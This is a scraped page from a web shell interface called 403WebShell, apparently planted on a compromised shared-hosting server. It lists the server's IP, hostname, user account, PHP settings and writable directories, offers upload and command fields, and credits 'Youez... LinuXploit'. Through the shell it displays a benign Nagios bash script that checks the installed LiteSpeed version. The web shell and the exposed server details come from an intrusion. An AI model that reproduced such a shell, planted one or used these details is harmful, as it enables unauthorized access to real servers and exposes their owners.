Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.116.80.252
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/nccustom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/nccustom/check-litespeed-version.sh
#!/bin/bash

# Nagios script for LiteSpeed version check;
# Nagios status codes (Nagios expects one of these to be returned);
# OK = 0;
# WARNING = 1;
# CRITICAL = 2;
# UNKNOWN = 3;


function check_command_result() {
  if [ $? -eq 0 ]; then
    return
  else
    echo "CRITICAL: can't run command [${1}]"
    exit 2
  fi
}

VERBOSE=0
PROGNAME=${0##*/}
LITESPEED_VERSION_URL="https://update.litespeedtech.com/ws/latest.php"


print_usage() {
    echo ""
    echo "Usage: ${PROGNAME} [-v be Verbose]"
    echo "Usage: ${PROGNAME} -h | --help"
}

print_help() {
        print_usage
        echo ""
        echo "This script checks latest version of LiteSpeed "
        echo ""
        echo "-v be Verbose (should be last argument)"
        echo "--help Print this help screen"
        echo ""
        exit 3
}

while [ $# -gt 0 ]; do
        case "$1" in
        --help)
                print_help
                exit 3
                ;;
        -h)
                print_help
                exit 3
                ;;
        -v)
                VERBOSE=1; shift;shift
                ;;
        *)
                echo >&2 "Unknown argument: $1"
                print_usage
                exit 3
                ;;
        esac
        shift
done

# Get current LiteSpeed version;
CURRENT_VERSION=$(/usr/local/lsws/bin/litespeed -v)
check_command_result "/usr/local/lsws/bin/litespeed -v"

# Get available latest LiteSpeed version;
AVAILABLE_VERSION=$(curl ${LITESPEED_VERSION_URL})
check_command_result "curl ${LITESPEED_VERSION_URL}"

# Parse current LiteSpeed verion from common string;
RESULT_CURRENT_VERSION=$(awk -F" " '{print $1}' <<< ${CURRENT_VERSION})
check_command_result "awk"
RESULT_CURRENT_VERSION=$(awk -F"/" '{print $2}' <<< ${RESULT_CURRENT_VERSION})
check_command_result "awk"

# Parse latest stable LiteSpeed version from common string;
RESULT_AVAILABLE_VERSION=$(awk -F"LSWS_STABLE=" '{print $2}' <<< ${AVAILABLE_VERSION})
check_command_result "awk"
RESULT_AVAILABLE_VERSION=$(echo "${AVAILABLE_VERSION}" | grep -oP 'LSWS_STABLE=\K[^ ]+')
check_command_result "awk"


if [[ ${VERBOSE} == 1 ]]; then
  echo -e "\n\t[VERBOSE INFORMATION, begin]\n"
  echo "Current version, full string: [${CURRENT_VERSION}]"
  echo "Available version, full list (curl response): [${AVAILABLE_VERSION}]"
  echo "Parsed current version string: [${RESULT_CURRENT_VERSION}]"
  echo "Parsed all versions string: [${RESULT_AVAILABLE_VERSION}]"
  echo -e "\n\t[ VERBOSE INFORMATION, end ]\n"
fi

# Check curl data;
if [[ ${AVAILABLE_VERSION} != *"LSWS_STABLE"* ]]; then
  echo "CRITICAL: curl response didn't contain LSWS_STABLE data."
  exit 2
fi

# Final check;
if [[ "${RESULT_CURRENT_VERSION}" == "${RESULT_AVAILABLE_VERSION}" ]]; then
    echo "OK: LiteSpeed version is updated: [${RESULT_AVAILABLE_VERSION}]"
    exit 0
else
    echo "CRITICAL: LiteSpeed version is outdated, latest version: [${RESULT_AVAILABLE_VERSION}]"
    exit 2
fi

Youez - 2016 - github.com/yon3zu
LinuXploit